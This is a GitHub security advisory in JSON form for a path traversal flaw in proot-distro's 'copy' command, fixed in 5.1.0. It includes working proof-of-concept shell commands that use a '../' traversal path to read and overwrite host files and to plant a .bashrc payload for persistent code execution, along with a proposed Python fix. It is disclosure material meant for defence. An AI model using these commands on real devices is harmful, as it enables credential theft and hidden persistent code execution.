GHSA-mfr4-mq8w-vmg6: Proot distro Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mfr4-mq8w-vmg6",
  "modified" : "2026-07-17T20:25:37Z",
  "published" : "2026-07-17T20:25:37Z",
  "aliases" : [ ],
  "summary" : "PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs",
  "details" : "<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1>\n<h2>Repository</h2>\n<p>https://github.com/termux/proot-distro</p>\n<p><strong>Maintainer:</strong> @sylirre</p>\n<hr>\n<h2>Affected Component</h2>\n<ul>\n<li><strong>Package:</strong> proot-distro</li>\n<li><strong>Affected command:</strong> <code>copy</code></li>\n<li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li>\n<li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li>\n</ul>\n<hr>\n<h2>Affected Versions</h2>\n\nComponent | Version\n-- | --\nproot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)\nTest distro | Ubuntu 25.10 \"Questing Quokka\" (ubuntu alias)\nArchitecture | aarch64\nDevice | Samsung A23\nPackage source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64\n\n\n<hr>\n<h2>Proof of Concept</h2>\n<p>All tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The <code>.bashrc</code> overwritten\nduring testing was immediately restored.</p>\n<h3>Step 1 — Setup</h3>\n<pre><code>rm -rf ~/poc\nmkdir -p ~/poc\n</code></pre>\n<hr>\n<h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3>\n<pre><code>echo \"ORIGINAL\" &gt; ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" &gt; ~/poc/evil.txt\n\nproot-distro copy \\\n  ~/poc/evil.txt \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt\"\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification:</p>\n<pre><code>cat ~/poc/target.txt\n→ PWNED_BY_PROOT_DISTRO\n</code></pre>\n<p>This confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.</p>\n<hr>\n<h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3>\n<pre><code>echo \"TOP_SECRET\" &gt; ~/poc/secret.txt\n\nproot-distro copy \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n  ~/poc/read_result.txt\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification:</p>\n<pre><code>cat ~/poc/read_result.txt\n→ TOP_SECRET\n</code></pre>\n<p>This confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.</p>\n<hr>\n<h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3>\n<pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\\n' &gt; ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc\"\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'\n[*] Destination: '/data/data/com.termux/files/home/.bashrc'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification before restart:</p>\n<pre><code>cat ~/.bashrc\n→\necho VULN_TRIGGERED &gt; ~/poc/proof.txt\n</code></pre>\n<p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and\nexecuted the payload automatically:</p>\n<pre><code>cat ~/poc/proof.txt\n→ VULN_TRIGGERED\n</code></pre>\n<p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.</p>\n<hr>\n<h2>Attack Scenario</h2>\n<p>The most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.</p>\n<p>On a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p>\n<hr>\n<h2>Proposed Fix</h2>\n<p>After resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:</p>\n<pre><code>import os\n\ndef safe_resolve(rootfs, container_path):\n    candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))\n    root = os.path.realpath(rootfs)\n    if candidate != root and not candidate.startswith(root + os.sep):\n        raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n    return candidate\n</code></pre>\n<p>This check must be applied to both the source and destination paths in the\n<code>copy</code> subcommand.</p>\n<hr>\n<h2>Additional Notes</h2>\n<ul>\n<li>This issue was reproduced on the official Termux release from\nhttps://packages-cf.termux.dev, not a fork.</li>\n<li>No root access was used at any point during testing.</li>\n<li>All test files were self-owned and contained only harmless marker data.</li>\n<li>The <code>.bashrc</code> overwritten during testing was immediately restored after\nverification.</li>\n</ul></body></html>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "proot-distro"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/termux/proot-distro"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/releases/tag/v5.1.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-17T20:25:37Z",
    "nvd_published_at" : null
  }
}